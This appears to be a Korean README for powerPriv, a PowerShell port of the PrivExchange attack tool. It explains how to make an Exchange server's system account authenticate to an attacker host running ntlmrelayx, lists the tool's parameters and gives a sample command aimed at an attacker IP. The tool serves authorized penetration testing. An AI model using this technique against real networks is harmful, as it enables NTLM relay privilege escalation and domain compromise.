
Powershell로 구현된 PrivExchange로, 현재 사용자 컨텍스트에서 실행되도록 설계되었습니다.
@_dirkjan이 만든 PrivExchange의 PowerShell 구현입니다 (원본 코드: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py) Python 기반 애플리케이션을 실행할 수 없거나, 사용자 자격 증명이 있거나, 디스크에 파일을 저장하고 싶지 않은 환경에 유용합니다. 대상 Exchange 서버 시스템 계정이 사용자가 선택한 시스템에 인증을 시도하도록 유도합니다.
-targetHost대상 Exchange 서버의 호스트명 또는 IP 주소입니다. DNS 설정에 따라 호스트명을 사용할 경우 FQDN이 필요할 수 있습니다. (필수)
-attackerHost사용자가 제어하며, ntlmrelayx를 실행 중인 시스템의 호스트명 또는 IP 주소입니다. Exchange 서버가 이 시스템에 인증을 시도하도록 지시합니다. DNS 설정에 따라 호스트명을 사용할 경우 FQDN이 필요할 수 있습니다. (필수)
-exchangePortExchange 서버에 연결할 포트입니다. 기본값은 443입니다.
-attackerPortExchange가 공격자 시스템에 다시 연결해야 하는 포트입니다. 기본값은 80입니다.
-attackerPageExchange 서버가 공격 시스템에서 연결하도록 지시하는 페이지입니다. 슬래시는 필요하지 않습니다. 기본값은 powerPriv입니다.
-noSSLExchange 서버에 초기 연결 시 HTTPS를 사용하지 않으려면 true로 설정합니다. 기본값은 false(HTTPS 사용)입니다.
-Version대상 Exchange 서버의 버전입니다. 기본값은 2013입니다.
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
작성자: @g0ldenGunSec - @_dirkjan이 만든 도구를 기반으로 함
이 도구는 소유한 네트워크 또는 테스트 권한이 있는 네트워크에서만 사용하십시오.